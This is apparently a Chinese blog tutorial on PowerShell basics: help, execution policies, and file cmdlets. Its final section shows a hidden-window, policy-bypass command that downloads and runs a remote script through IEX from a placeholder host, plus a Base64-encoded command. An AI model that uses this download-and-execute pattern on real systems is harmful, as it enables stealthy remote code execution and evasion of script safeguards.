Yyqingmofeige 2020-03-28
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。PowerShell是命令提示符的更高级版本。 它用于执行诸如 ping 或 copy 之类的外部程序,并自动执行无法从 cmd.exe 访问的不同系统管理任务。
PowerShell与cmd的区别:
PowerShell与Bash Shell比较:
在PowerShell下的命令,均采用 “名词+动词” 的形式
PS D:\study> help 主题 Windows PowerShell 帮助系统 简短说明 显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。 详细说明 “Windows PowerShell 帮助”介绍了 Windows PowerShell 的 cmdlet、 函数、脚本及模块,并解释了 Windows PowerShell 语言的元素等概念。 Windows PowerShell 中不包含帮助文件,但你可以联机参阅 帮助主题,或使用 Update-Help cmdlet 将帮助文件下载 到你的计算机中,然后在命令行中使用 Get-Help cmdlet 来显示帮助 主题。 你也可以使用 Update-Help cmdlet 在该网站发布了更新的帮助文件时下载它们, 这样,你的本地帮助内容便永远都不会过时。 如果没有帮助文件,Get-Help 会显示自动生成的有关 cmdlet、 函数及脚本的帮助。 联机帮助 你可以在 TechNet 库中找到有关 Windows PowerShell 的联机帮助, 网址为 http://go.microsoft.com/fwlink/?LinkID=108518。 若要打开有关任一 cmdlet 或函数的联机帮助,请键入: Get-Help <cmdlet-name> -Online -- More --
PS D:\study> Get-Host Name : ConsoleHost Version : 5.1.17763.1007 InstanceId : b17b657c-366a-4efa-a95f-a4ba89884117 UI : System.Management.Automation.Internal.Host.InternalHostUserInterface CurrentCulture : zh-CN CurrentUICulture : zh-CN PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy DebuggerEnabled : True IsRunspacePushed : False Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb Verb Group ---- ----- Add Common Clear Common Close Common Copy Common Enter Common Exit Common Find Common Format Common Get Common Hide Common Join Common Lock Common Move Common New Common Open Common Optimize Common Pop Common Push Common Redo Common Remove Common Rename Common Reset Common Resize Common Search Common Select Common Set Common Show Common Skip Common Split Common Step Common Switch Common Undo Common Unlock Common Watch Common Backup Data Checkpoint Data Compare Data Compress Data Convert Data ConvertFrom Data ConvertTo Data Dismount Data Edit Data Expand Data Export Data Group Data Import Data Initialize Data Limit Data Merge Data Mount Data Out Data Publish Data Restore Data Save Data Sync Data Unpublish Data Update Data Approve Lifecycle Assert Lifecycle Complete Lifecycle Confirm Lifecycle Deny Lifecycle Disable Lifecycle Enable Lifecycle Install Lifecycle Invoke Lifecycle Register Lifecycle Request Lifecycle Restart Lifecycle Resume Lifecycle Start Lifecycle Stop Lifecycle Submit Lifecycle Suspend Lifecycle Uninstall Lifecycle Unregister Lifecycle Wait Lifecycle Debug Diagnostic Measure Diagnostic Ping Diagnostic Repair Diagnostic Resolve Diagnostic Test Diagnostic Trace Diagnostic Connect Communications Disconnect Communications Read Communications Receive Communications Send Communications Write Communications Block Security Grant Security Protect Security Revoke Security Unblock Security Unprotect Security Use Other
Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。
默认执行策略为“Restricted”。
PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy]) # 查看脚本执行策略 Unrestricted RemoteSigned AllSigned Restricted Default Bypass Undefined PS C:\Users\Riy> Get-ExecutionPolicy # 查看当前脚本执行策略 Restricted PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted # 更改脚本执行策略,这里报错是因为没有使用管理员权限打开PowerShell Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIdsMicrosoft.PowerShell”的访问被拒绝。 要更改默认(LocalMachine)作用域的执行策略,请使用“以管理 员身份运行”选项启动 Windows PowerShell。要更改当前用户的执行策略,请运行 "Set-ExecutionPolicy -Scope CurrentUser"。 所在位置 行:1 字符: 1 + Set-ExecutionPolicy Unrestricted + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess Exception + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command s.SetExecutionPolicyCommand # 使用管理员权限打开PowerShell PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined 执行策略更改 执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? [Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): y
PS D:\study> New-Item -Name ‘test‘ -ItemType ‘directory‘ # 新建目录 目录: D:\study Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2020/3/28 0:24 test PS D:\study> New-Item -Name ‘test.txt‘ # 新建文件 目录: D:\study Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2020/3/28 0:24 0 test.txt PS D:\study> Set-Content test.txt -Value ‘Hello World‘ # 设置文本内容 PS D:\study> Get-Content test.txt # 显示文本内容 Hello World PS D:\study> Add-Content test.txt -Value ‘Love World‘ # 追加文本内容 PS D:\study> Get-Content test.txt Hello World Love World PS D:\study> Clear-Content test.txt # 清除文本内容 PS D:\study> Get-Content test.txt PS D:\study> Remove-Item test # 删除文件或目录
PS D:\study> ‘"Hello World"‘ > test.ps1 PS D:\study> .\test.ps1 .\test.ps1 : 无法加载文件 D:\study\test.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。 所在位置 行:1 字符: 1 + .\test.ps1 + ~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [],PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1 Hello World
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx/test.ps1‘) Hello World
7、使用Base64对PowerShell命令进行编码
c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA= laptop-9r39s2hi\riy